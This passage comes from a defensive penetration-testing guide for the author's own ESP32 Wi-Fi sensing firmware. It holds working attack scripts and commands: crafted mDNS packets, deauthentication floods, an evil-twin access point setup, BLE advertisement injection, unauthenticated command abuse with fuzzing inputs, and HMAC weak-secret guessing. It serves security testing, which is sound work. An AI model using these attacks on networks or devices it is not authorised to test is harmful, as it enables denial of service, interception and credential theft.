Fix Require auth for STATUS (or at least the uptime field)
# Get precise uptime from unauthenticated STATUS
echo "STATUS" | ncat -u -w1 192.168.129.29 5501

# The response includes "uptime=12345s"
# Attacker now knows exact device uptime, can pre-compute HMAC timestamps.
# Combined with a captured or brute-forced secret, this enables authenticated attacks.

8. Dependency and CVE Analysis

8.1 ESP-IDF Version CVE Check

Field Value
Tests Known vulnerabilities in ESP-IDF v5.5.2 and bundled components
Tools Espressif security advisories, CVE databases
Finding Specific ESP-IDF CVEs that affect this version
Fix Update ESP-IDF; apply patches; enable mitigations
# Check ESP-IDF version from firmware
strings /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin \
    | grep -i 'v5\.' | head -5

# Check Espressif security advisories
# https://www.espressif.com/en/security/advisories

# Key CVEs to check for ESP-IDF <= 5.5.x:
# CVE-2024-45479: ESP-IDF BLE stack buffer overflow (NimBLE)
# CVE-2023-28631: WiFi PMF bypass
# CVE-2023-35831: Secure boot bypass on ESP32 V1
# CVE-2024-23723: mDNS parsing vulnerabilities

# Check component versions from build
cat /home/user/git/esp32-hacking/get-started/csi_recv_router/build/project_description.json \
    2>/dev/null | python3 -m json.tool | grep -i version

# Check managed component versions
cat /home/user/git/esp32-hacking/get-started/csi_recv_router/dependencies.lock \
    2>/dev/null

8.2 mDNS Component Vulnerabilities

Field Value
Tests mDNS parsing bugs, DNS rebinding, response injection
Tools Crafted mDNS packets via scapy
Finding mDNS library may be vulnerable to crafted responses
Fix Update espressif/mdns component; restrict mDNS to query-only if advertisement not needed
#!/usr/bin/env python3
"""mdns_probe.py -- Send crafted mDNS queries/responses to test parser robustness."""

from scapy.all import *

TARGET = "192.168.129.29"

# Craft an oversized mDNS response with many answers
dns_response = DNS(
    id=0x0000,
    qr=1,
    opcode=0,
    aa=1,
    rd=0,
    qd=None,
    an=DNSRR(rrname="_esp-csi._udp.local.", type="PTR", ttl=4500,
             rdata="evil-sensor._esp-csi._udp.local.") /
       DNSRR(rrname="evil-sensor._esp-csi._udp.local.", type="SRV", ttl=4500,
             rdata=b'\x00\x00\x00\x00\x15\xb3' + b'\x07' + b'A' * 200 + b'\x05local\x00') /
       DNSRR(rrname="A" * 255 + ".local.", type="A", ttl=4500, rdata="1.2.3.4"),
)

# Send as multicast mDNS (224.0.0.251:5353)
pkt = IP(dst="224.0.0.251") / UDP(sport=5353, dport=5353) / dns_response
send(pkt, verbose=True)
print("Sent crafted mDNS response -- check if device is still responsive")

# Verify device health
import socket, time
time.sleep(1)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(2)
s.sendto(b"PING", (TARGET, 5501))
try:
    resp = s.recvfrom(1500)
    print(f"Device alive: {resp[0]}")
except:
    print("[!] Device not responding after mDNS injection!")
s.close()

8.3 NimBLE Stack Analysis

Field Value
Tests BLE stack vulnerabilities; advertisement parsing bugs
Tools bleak (Python BLE library), second ESP32 as BLE beacon
Finding Crafted BLE advertisements could trigger parsing bugs in NimBLE
Fix Update ESP-IDF; validate all BLE advertisement fields before parsing
#!/usr/bin/env python3
"""ble_scan_target.py -- Check what the ESP32's BLE scan exposes."""

import asyncio
from bleak import BleakScanner

async def scan():
    """Scan for ESP32 devices' BLE presence."""
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        # ESP32 in scan-only mode shouldn't be advertising
        # If it IS advertising, that's a finding
        print(f"  {d.address}  RSSI={d.rssi}  Name={d.name}")
        if d.name and "esp" in d.name.lower():
            print(f"  [!] ESP32 device advertising: {d.name}")

asyncio.run(scan())

The firmware uses BLE in passive scan mode only (no advertising), so the ESP32 should NOT appear in BLE scans. If it does, that indicates a misconfiguration.

To test BLE advertisement parsing robustness, use a second ESP32 programmed to send crafted advertisements with oversized fields, malformed company IDs, etc.


9. Wireless Attacks

9.1 WiFi Adapter Requirements

For WiFi attacks (sections 9.2-9.5), you need a USB WiFi adapter that supports monitor mode and packet injection. The Raspberry Pi 5's built-in WiFi does NOT support monitor mode.

Recommended adapters (all work on RPi5):

  • Alfa AWUS036ACH (RTL8812AU) -- 2.4/5 GHz, excellent injection
  • Alfa AWUS036ACHM (MediaTek MT7612U) -- reliable, good range
  • TP-Link TL-WN722N v1 (AR9271) -- 2.4 GHz only, cheap, proven
# Check if adapter supports monitor mode
sudo iw list | grep -A 10 "Supported interface modes"
# Should include "monitor"

# Enable monitor mode
sudo ip link set wlan1 down
sudo iw dev wlan1 set type monitor
sudo ip link set wlan1 up

# Or using airmon-ng
sudo airmon-ng start wlan1

9.2 Deauthentication Flood

Field Value
Tests PMF effectiveness; deauth flood detection; sensor resilience
Tools aireplay-ng, mdk4
Finding Device disconnects and fails to collect CSI during attack = DoS confirmed
Fix PMF already enabled (CONFIG_ESP_WIFI_PMF_REQUIRED=y); verify router also enforces PMF

The firmware has CONFIG_ESP_WIFI_PMF_REQUIRED=y, which should prevent deauth attacks IF the router also supports PMF. This test verifies end-to-end protection.

# Step 1: Find the target network and channel
sudo airodump-ng wlan1mon

# Step 2: Targeted deauth against one sensor
# BSSID = router MAC, STATION = ESP32 MAC
sudo aireplay-ng -0 100 -a <ROUTER_BSSID> -c <ESP32_MAC> wlan1mon

# Step 3: Broader deauth flood
sudo mdk4 wlan1mon d -c <channel>

# Step 4: Monitor sensor's deauth flood detection
# (The firmware detects deauths in promiscuous mode and emits ALERT_DATA)
sudo tcpdump -i eth0 -A 'udp port 5500' | grep ALERT_DATA

# Step 5: Check if sensor stays connected
echo "STATUS" | ncat -u -w2 192.168.129.29 5501
# If no response, the deauth attack succeeded in disconnecting the sensor

What a finding looks like:

  • Sensor goes offline during deauth flood = PMF not enforced by router
  • ALERT_DATA messages appear = detection works but connection still drops
  • Sensor stays connected = PMF is properly enforced end-to-end

9.3 Evil Twin / Rogue AP

Field Value
Tests Whether the ESP32 will connect to a rogue AP with the same SSID
Tools hostapd, dnsmasq
Finding ESP32 connects to rogue AP = WiFi credential theft + MITM
Fix WPA3-SAE (immune to evil twin); BSSID pinning in firmware
# Step 1: Create hostapd config for rogue AP
cat > /tmp/hostapd-evil.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=TARGET_SSID_HERE
hw_mode=g
channel=6
wpa=2
wpa_passphrase=TARGET_PSK_HERE
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

# Step 2: Set up DHCP for captured clients
cat > /tmp/dnsmasq-evil.conf << 'EOF'
interface=wlan1
dhcp-range=192.168.100.10,192.168.100.50,12h
dhcp-option=3,192.168.100.1
dhcp-option=6,192.168.100.1
EOF

# Step 3: Configure interface
sudo ip addr add 192.168.100.1/24 dev wlan1

# Step 4: Start evil twin
sudo hostapd /tmp/hostapd-evil.conf &
sudo dnsmasq -C /tmp/dnsmasq-evil.conf &

# Step 5: Deauth the ESP32 from the real AP to force reconnection
sudo aireplay-ng -0 10 -a <REAL_AP_BSSID> -c <ESP32_MAC> wlan1mon

# Step 6: Wait for ESP32 to connect to evil twin
# Monitor hostapd output for association
# If ESP32 connects, you now have MITM position

# Cleanup:
sudo killall hostapd dnsmasq

The firmware uses CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y, which means it will attempt WPA3-SAE first and fall back to WPA2-PSK. The evil twin test must use the correct PSK. With WPA3, the evil twin attack is significantly harder because SAE prevents offline dictionary attacks and the attacker would need the actual PSK.


9.4 Probe Request Harvesting

Field Value
Tests What the ESP32 reveals in its own probe requests when scanning
Tools airodump-ng, tcpdump in monitor mode
Finding ESP32 probe requests may reveal the target SSID
Fix Use directed scans only; minimize probing
# Capture probe requests from ESP32 devices
sudo airodump-ng wlan1mon --output-format csv -w /tmp/probes

# Or with tcpdump:
sudo tcpdump -i wlan1mon -e 'type mgt subtype probe-req' -nn

# Look for the ESP32's MAC address in probe requests
# ESP32-WROOM-32 OUI: varies by chip, check with:
echo "STATUS" | ncat -u -w1 192.168.129.29 5501 | grep -i mac

9.5 BLE Attacks

Field Value
Tests BLE advertisement spoofing to inject fake data into the sensor's BLE scanner
Tools Second ESP32, hcitool, bluetoothctl, bleak
Finding Fake BLE advertisements accepted as legitimate device sightings
Fix Validate BLE data at the collector level; add anomaly detection

The firmware runs BLE in passive scan mode only -- it receives advertisements but does not advertise or accept connections. The attack surface is limited to injecting fake advertisement data that gets reported to the collector.

# Using the Pi's built-in Bluetooth to send crafted advertisements:
# (Requires BlueZ tools)

# Set up advertising with a specific company ID to test fingerprinting
sudo hciconfig hci0 up
sudo hcitool -i hci0 cmd 0x08 0x0008 \
    1E 02 01 06 03 03 AA FE 17 16 AA FE 10 00 02 \
    77 65 62 00 01 02 03 04 05 06 07 08 09 0A 0B

# Better: use a second ESP32 programmed as a BLE beacon with specific data
# to test the firmware's BLE advertisement parser for:
# - Oversized advertisement data (>31 bytes in extended advertising)
# - Malformed company_id fields
# - Extremely long device names
# - Invalid BLE flags

For BLE fuzzing with a second ESP32:

/* ble_fuzz_beacon.c -- Minimal ESP32 program to send crafted BLE ads */
/* Flash to a second ESP32 and place near the target sensor */

#include "esp_bt.h"
#include "esp_gap_ble_api.h"

/* Oversized manufacturer data to test parser bounds */
static uint8_t adv_data[] = {
    0x02, 0x01, 0x06,                     /* Flags */
    0xFF,                                   /* Length (255 -- oversized!) */
    0xFF, 0x4C, 0x00,                      /* Apple company ID */
    /* ... fill with 250 bytes of garbage */
};

/* Set this as raw advertising data via esp_ble_gap_config_adv_data_raw() */

10. Automated Test Scripts

10.1 Complete Pentest Runner

#!/usr/bin/env bash
# esp32-pentest.sh -- Automated pentest suite for ESP32 CSI sensors
# Usage: ./esp32-pentest.sh <sensor-ip> [secret]

set -euo pipefail

TARGET="${1:?Usage: $0 <sensor-ip> [secret]}"
SECRET="${2:-}"
PORT=5501
RESULTS="/tmp/esp32-pentest-$(date +%Y%m%d-%H%M%S).log"

log() { printf "[%s] %s\n" "$(date +%H:%M:%S)" "$*" | tee -a "$RESULTS"; }

log "=== ESP32 Pentest: $TARGET ==="

# Test 1: Unauthenticated information disclosure
log "--- Test 1: Information Disclosure ---"
for cmd in STATUS CONFIG PROFILE HELP PING; do
    resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true)
    if [ -n "$resp" ]; then
        log "  $cmd: $(echo "$resp" | head -c 120)"
    else
        log "  $cmd: <no response>"
    fi
done

# Test 2: Unauthenticated state modification
log "--- Test 2: Unauth State Modification ---"
for cmd in "CSI OFF" "PRESENCE OFF" "LOG NONE" "RATE 10" "ALERT OFF"; do
    resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true)
    if echo "$resp" | grep -q "^OK"; then
        log "  [VULN] $cmd accepted without auth: $resp"
    elif echo "$resp" | grep -q "ERR AUTH"; then
        log "  [SAFE] $cmd requires auth"
    else
        log "  [????] $cmd response: $resp"
    fi
done

# Restore settings
echo "CSI ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
echo "PRESENCE ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
echo "LOG INFO" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true

# Test 3: Input validation
log "--- Test 3: Input Validation ---"
for payload in \
    "RATE -1" "RATE 999999" "RATE 0" \
    "POWER -1" "POWER 100" \
    "HOSTNAME $(python3 -c 'print("A"*100)')" \
    "HOSTNAME %x%x%n" \
    "" \
    "$(python3 -c 'print("X"*191)')"; do
    resp=$(echo "$payload" | ncat -u -w1 "$TARGET" "$PORT" 2>/dev/null || true)
    log "  Input: $(echo "$payload" | head -c 40)... -> $(echo "$resp" | head -c 80)"
done

# Test 4: mDNS enumeration
log "--- Test 4: mDNS Discovery ---"
mdns_result=$(avahi-browse -art 2>/dev/null | grep -A2 '_esp-csi' || echo "<none>")
log "  mDNS: $mdns_result"

# Test 5: Port scan
log "--- Test 5: Port Scan ---"
nmap_result=$(nmap -sU -p 5500,5501,5353 --open "$TARGET" 2>/dev/null | grep "open" || true)
log "  Open ports: $nmap_result"

log "=== Results saved to $RESULTS ==="

10.2 HMAC Brute-Force Test (Secret Entropy Validation)

#!/usr/bin/env python3
"""hmac_bruteforce.py -- Test whether auth secret has sufficient entropy.

This is NOT a practical brute-force attack (128-bit secret has 2^128 keyspace).
It tests edge cases: short secrets, predictable secrets, known-weak patterns.
"""

import hashlib
import hmac
import socket
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29"
PORT = 5501

# Get device uptime for valid timestamp
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2.0)
sock.sendto(b"STATUS", (TARGET, PORT))
resp = sock.recvfrom(1500)[0].decode()
uptime = 0
for field in resp.split():
    if field.startswith("uptime="):
        uptime = int(field.split("=")[1].rstrip("s"))

print(f"Device uptime: {uptime}s")

# Test common/weak secrets
WEAK_SECRETS = [
    "",                          # Empty (auth disabled)
    "secret",                    # Common default
    "password",                  # Common default
    "admin",                     # Common default
    "12345678",                  # Numeric
    "0" * 32,                    # All zeros
    "f" * 32,                    # All f's
    "deadbeefdeadbeefdeadbeefdeadbeef",  # Classic test pattern
    "test",                      # Development leftover
]

print(f"\nTesting {len(WEAK_SECRETS)} weak secrets...")
for secret in WEAK_SECRETS:
    payload = f"{uptime}:STATUS"
    digest = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).hexdigest()
    cmd = f"HMAC:{digest[:32]}:{payload}".encode()
    sock.sendto(cmd, (TARGET, PORT))
    try:
        resp = sock.recvfrom(1500)[0].decode()
        if "ERR AUTH" not in resp:
            print(f"  [!] SECRET FOUND: '{secret}' -> {resp[:60]}")
            break
        # else: expected failure
    except socket.timeout:
        pass
    import time; time.sleep(0.06)

else:
    print("  [+] No weak secrets found (good)")

sock.close()

Summary: Attack Priority Matrix

Priority Attack Difficulty Impact Tools Needed
P0 Unauth command abuse (3.3) Trivial High -- blind sensors ncat
P0 OTA MITM (6.1) Easy Critical -- RCE HTTP server, ARP spoof
P1 Flash dump (5.2) Easy (physical) Critical -- all secrets USB cable, esptool.py
P1 NVS extraction (4.3) Easy (physical) High -- auth secret USB cable, esptool.py
P1 UART capture (5.1) Easy (physical) High -- auth secret prefix Serial adapter
P1 Data injection (3.5) Easy Medium -- fake data Python socket
P2 Nonce cache overflow (3.2) Medium Medium -- replay auth cmds Python HMAC
P2 Deauth flood (9.2) Medium Medium -- DoS Monitor-mode adapter
P2 Evil twin (9.3) Hard High -- MITM Monitor-mode adapter
P2 mDNS recon (2.1) Trivial Low -- info disclosure avahi-browse
P3 UDP fuzzing (2.4) Easy Varies -- crash = high Python
P3 BLE injection (9.5) Medium Low -- fake data Second ESP32
P3 JTAG access (5.3) Hard (soldering) Critical -- full debug JTAG adapter
P3 Timing oracle (3.1) Hard Low -- already mitigated Python
P3 Firmware RE (4.1, 4.2) Easy Info -- aids other attacks strings, binwalk

Quick Reference: Files and Paths

Item Path
Firmware source /home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c
Binary /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin
ELF /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf
sdkconfig /home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults
Partitions /home/user/git/esp32-hacking/get-started/csi_recv_router/partitions.csv
Security audit /home/user/git/esp32-hacking/SECURITY-AUDIT.md
esp-ctl auth /home/user/git/esp-ctl/src/esp_ctl/auth.py
NVS tool $HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py
Sensors 192.168.129.29 (muddy-storm), .30 (amber-maple), .31 (hollow-acorn)